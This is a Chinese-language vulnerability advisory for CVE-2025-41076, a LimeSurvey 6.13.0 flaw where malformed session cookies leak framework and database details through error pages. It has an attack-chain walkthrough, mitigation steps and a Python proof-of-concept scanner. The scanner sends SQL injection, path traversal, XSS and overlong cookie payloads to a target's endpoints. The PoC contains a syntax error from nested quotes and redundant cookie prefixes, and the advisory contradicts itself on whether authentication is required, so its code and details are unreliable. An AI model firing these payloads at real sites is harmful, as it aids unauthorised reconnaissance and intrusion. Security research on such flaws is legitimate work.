IPBUF安全漏洞报告
English
CVE-2025-41076 CVSS 6.5 中危

CVE-2025-41076: LimeSurvey 6.13.0 会话Cookie处理导致的敏感信息泄露漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-41076
漏洞类型
敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LimeSurvey

相关标签

敏感信息泄露LimeSurvey会话CookieYii框架错误处理CVE-2025-41076信息侦查Web应用安全

漏洞概述

CVE-2025-41076是LimeSurvey 6.13.0版本中存在的一个中等严重性安全漏洞。该漏洞允许任何外部用户通过发送格式错误的会话cookie(malformed session cookie)来触发应用程序的500内部服务器错误。值得注意的是,当发生错误时,系统并未返回通用的错误页面,而是直接暴露了应用程序的内部后端实现细节。这些泄露的信息包括但不限于:应用程序使用的Yii框架信息、MySQL/MariaDB数据库引擎的具体类型、系统使用的会话表名'lime_sessions'、相关表的主键结构,以及导致冲突的错误内容片段。攻击者可以利用这些泄露的内部信息,深入了解目标应用程序的架构设计和数据库结构,从而为后续更复杂的攻击(如SQL注入、越权访问等)提供宝贵的侦查数据。由于该漏洞的利用门槛较低(无需特殊权限,无需用户交互),且影响机密性较高,因此被评定为CVSS 6.5分的中危漏洞。

技术细节

该漏洞的技术根源在于LimeSurvey对会话cookie的验证和处理机制存在缺陷。当应用程序接收到格式异常的session cookie时,Yii框架的异常处理机制未能正确捕获和过滤敏感的系统信息。在正常情况下,应用程序应该捕获这类异常并返回用户友好的错误页面,但当前实现直接将PHP的详细错误信息(包括堆栈跟踪)输出到HTTP响应中。

具体来说,攻击者可以构造一个包含特殊字符或格式错误的cookie值(如包含单引号、SQL关键字片段或超出预期长度的字符串),然后将其发送到LimeSurvey的任意端点。当应用程序尝试解析该cookie并与数据库中的lime_sessions表进行比对时,格式错误的数据会触发数据库查询异常。由于应用程序未启用生产环境的错误抑制机制,Yii框架将暴露完整的异常堆栈信息,包括:使用的数据库驱动(MySQL/MariaDB)、表结构细节(lime_sessions表的主键和索引)、框架版本信息,以及SQL错误消息中的查询片段。这种信息泄露虽然不直接导致数据被窃取,但为攻击者提供了绘制目标系统架构图的关键素材。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用LimeSurvey,通过检查页面特征、HTTP响应头或HTML源码中的特定标识(如'LimeSurvey'字符串、Yii框架特征)
STEP 2
步骤2: 构造恶意Cookie
攻击者构造格式错误的session cookie,包含特殊字符(如单引号、SQL关键字、路径遍历序列、超长字符串或JSON格式数据),目的是触发数据库查询异常
STEP 3
步骤3: 发送恶意请求
使用构造的恶意cookie向LimeSurvey的任意端点(如首页、登录页或管理后台)发送HTTP请求。无需任何认证即可触发漏洞
STEP 4
步骤4: 捕获响应信息
应用程序返回500内部服务器错误,但错误页面中包含敏感的内部信息,包括Yii框架版本、数据库类型(MySQL/MariaDB)、会话表名(lime_sessions)、主键结构和SQL错误片段
STEP 5
步骤5: 分析泄露信息
攻击者收集并分析泄露的架构信息,绘制目标系统的技术栈图谱,识别潜在的进一步攻击面,如确定后续可利用的SQL注入点或认证绕过路径

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-41076 PoC - LimeSurvey 6.13.0 Sensitive Information Disclosure # This PoC demonstrates how a malformed session cookie can trigger information disclosure TARGET_URL = "https://target-limesurvey.com" # Replace with target URL def exploit_cve_2025_41076(): """ Exploit function to trigger the vulnerability Sends a malformed session cookie to cause 500 error and leak internal information """ # Malformed session cookie with SQL injection-like characters # This triggers error handling that exposes backend details malformed_cookies = [ "PHPSESSID=admin' OR '1'='1", # SQL injection attempt "PHPSESSID=../../../etc/passwd", # Path traversal attempt "PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", # Buffer overflow "PHPSESSID={"type":"test","id":null}", # JSON injection "PHPSESSID=<script>alert(1)</script>" # XSS payload ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-41076 Scanner)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } for i, cookie_value in enumerate(malformed_cookies): print(f"[*] Testing malformed cookie {i+1}/{len(malformed_cookies)}") cookies = {"PHPSESSID": cookie_value} try: # Target common LimeSurvey endpoints endpoints = ["/", "/index.php", "/admin/authentication/sa/login"] for endpoint in endpoints: response = requests.get( f"{TARGET_URL}{endpoint}", cookies=cookies, headers=headers, timeout=10, verify=False ) # Check for information disclosure indicators indicators = [ "Yii Framework", "lime_sessions", "MySQL", "MariaDB", "PDOException", "Stack trace", "primary key", "SQLSTATE" ] for indicator in indicators: if indicator in response.text: print(f"[!] VULNERABLE! Found indicator: {indicator}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Cookie value: {cookie_value}") print(f"[+] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] No vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print("CVE-2025-41076 LimeSurvey Information Disclosure Scanner") exploit_cve_2025_41076()

影响范围

LimeSurvey < 6.13.0 (未受影响)
LimeSurvey = 6.13.0 (受影响)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web服务器配置中设置display_errors=Off并启用log_errors=On;2) 修改Yii框架配置,启用自定义错误处理程序;3) 在负载均衡器或反向代理层添加规则,过滤包含特殊字符的cookie值;4) 限制错误日志的访问权限,确保攻击者无法通过其他渠道获取详细错误信息;5) 考虑临时禁用公开的LimeSurvey实例访问,待修复后再重新开放。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表